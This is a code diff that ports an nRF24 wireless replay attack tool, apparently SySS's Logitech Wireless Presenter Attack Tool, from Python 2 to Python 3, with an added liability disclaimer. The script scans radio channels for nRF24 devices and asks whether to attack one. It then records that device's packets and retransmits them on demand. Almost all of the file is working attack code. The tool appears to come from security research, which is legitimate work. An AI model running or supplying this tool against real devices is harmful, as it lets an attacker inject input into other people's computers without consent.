+
+ Einstein2150 (Update 2024):
+ This program has been migrated and further developed for use with
+ Python 3 by Einstein2150. The author acknowledges that ongoing
+ enhancements and updates to the codebase may continue in the future.
+ Users should be aware that the use of this program is at their own
+ risk, and the author accepts no responsibility for any damages that
+ may arise from its use. It is the user's responsibility to ensure
+ that their use of the program complies with all applicable laws
+ and regulations.
+
"""
-__version__ = '0.2'
-__author__ = 'Matthias Deeg'
+__version__ = '0.3'
+__author__ = 'Einstein2150'
import argparse
from binascii import hexlify, unhexlify
from lib import nrf24
from time import sleep, time
-SCAN_CHANNELS = range(2, 84) # channels to scan
-DWELL_TIME = 0.05 # dwell time for each channel in seconds
-
+SCAN_CHANNELS = list(range(2, 84)) # channels to scan
+DWELL_TIME = 0.05 # dwell time for each channel in seconds
def banner():
"""Show a fancy banner"""
print(" _____ ______ ___ _ _ _____ _ _ \n"
-" | __ \\| ____|__ \\| || | | __ \\| | | | \n"
-" _ __ | |__) | |__ ) | || |_ | |__) | | __ _ _ _ ___ ___| |_ \n"
-" | '_ \\| _ /| __| / /|__ _| | ___/| |/ _` | | | / __|/ _ \\ __| \n"
-" | | | | | \\ \\| | / /_ | | | | | | (_| | |_| \\__ \\ __/ |_ \n"
-" |_| |_|_| \\_\\_| |____| |_| |_| |_|\\__,_|\\__, |___/\\___|\\__|\n"
-" __/ | \n"
-" |___/ \n"
-"Simple Replay Tool v{0} by Matthias Deeg - SySS GmbH (c) 2016".format(__version__))
+ " | __ \\| ____|__ \\| || | | __ \\| | | | \n"
+ " _ __ | |__) | |__ ) | || |_ | |__) | | __ _ _ _ ___ ___| |_ \n"
+ " | '_ \\| _ /| __| / /|__ _| | ___/| |/ _` | | | / __|/ _ \\ __| \n"
+ " | | | | | \\ \\| | / /_ | | | | | | (_| | |_| \\__ \\ __/ |_ \n"
+ " |_| |_|_| \\_\\_| |____| |_| |_| |_|\\__,_|\\__, |___/\\___|\\__|\n"
+ " __/ | \n"
+ " |___/ \n"
+ "Logitech Wireless Presenter Attack Tool v{0} by Matthias Deeg - SySS GmbH (c) 2016\n"
+ "optimized for use with Python 3 by Einstein2150 (2024)\n".format(__version__))
# main program
if __name__ == '__main__':
@@ -58,7 +69,7 @@ def banner():
# init argument parser
parser = argparse.ArgumentParser()
parser.add_argument('-a', '--address', type=str, help='Address of nRF24 device')
- parser.add_argument('-c', '--channels', type=int, nargs='+', help='ShockBurst RF channel', default=range(2, 84), metavar='N')
+ parser.add_argument('-c', '--channels', type=int, nargs='+', help='ShockBurst RF channel', default=list(range(2, 84)), metavar='N')
# parse arguments
args = parser.parse_args()
@@ -69,13 +80,13 @@ def banner():
if args.address:
try:
# address of nRF24 keyboard (CAUTION: Reversed byte order compared to sniffer tools!)
- address = args.address.replace(':', '').decode('hex')[::-1][:5]
- address_string = ':'.join('{:02X}'.format(ord(b)) for b in address[::-1])
- except:
+ address = bytes.fromhex(args.address.replace(':', ''))[::-1][:5]
+ address_string = ':'.join('{:02X}'.format(b) for b in address[::-1])
+ except ValueError:
print("[-] Error: Invalid address")
exit(1)
else:
- address = ""
+ address = b""
try:
# initialize radio
@@ -84,7 +95,7 @@ def banner():
# enable LNA
radio.enable_lna()
- except:
+ except Exception:
print("[-] Error: Could not initialize nRF24 radio")
exit(1)
@@ -105,7 +116,7 @@ def banner():
while True:
# increment the channel
if len(SCAN_CHANNELS) > 1 and time() - last_tune > DWELL_TIME:
- channel_index = (channel_index + 1) % (len(SCAN_CHANNELS))
+ channel_index = (channel_index + 1) % len(SCAN_CHANNELS)
radio.set_channel(SCAN_CHANNELS[channel_index])
last_tune = time()
@@ -113,21 +124,20 @@ def banner():
value = radio.receive_payload()
if len(value) >= 10:
# split the address and payload
- address, payload = value[0:5], value[5:]
+ address, payload = value[:5], value[5:]
# show packet payload
- print("[+] Received data: {0}".format(hexlify(payload)))
+ print("[+] Received data: {0}".format(hexlify(payload).decode()))
payloads.append(payload)
# convert address to string and reverse byte order
- converted_address = address[::-1].tostring()
- address_string = ':'.join('{:02X}'.format(b) for b in address)
+ address_string = ':'.join('{:02X}'.format(b) for b in address[::-1])
print("[+] Found nRF24 device with address {0} on channel {1}".format(address_string, SCAN_CHANNELS[channel_index]))
# ask user about device
if not args.address:
- answer = raw_input("[?] Attack this device (y/n)? ")
- if answer[0] == 'y':
+ answer = input("[?] Attack this device (y/n)? ")
+ if answer.lower().startswith('y'):
break
else:
print("[*] Continue scanning ...")
@@ -135,7 +145,7 @@ def banner():
break
# put the radio in sniffer mode (ESB w/o auto ACKs)
- radio.enter_sniffer_mode(converted_address)
+ radio.enter_sniffer_mode(address[::-1])
# if a specific address was given, also replay the read packets during scanning
if args.address:
@@ -160,7 +170,7 @@ def banner():
packets.append(payload)
# show packet payload
- print("[+] Received data: {0}".format(hexlify(payload)))
+ print("[+] Received data: {0}".format(hexlify(payload).decode()))
except KeyboardInterrupt:
print("\n[*] Stop recording")
@@ -173,15 +183,14 @@ def banner():
replaying = True
while replaying:
try:
- key = raw_input("[*] Press to replay the recorded data packets or to quit ...")
+ input("[*] Press to replay the recorded data packets or to quit ...")
for p in packet_list:
- print("[+] Send data: {0}".format(hexlify(p)))
- radio.transmit_payload(p.tostring())
+ print("[+] Send data: {0}".format(hexlify(p).decode()))
+ radio.transmit_payload(p)
except KeyboardInterrupt:
print("\n[*] Stop replaying")
replaying = False
print("[*] Done.")
-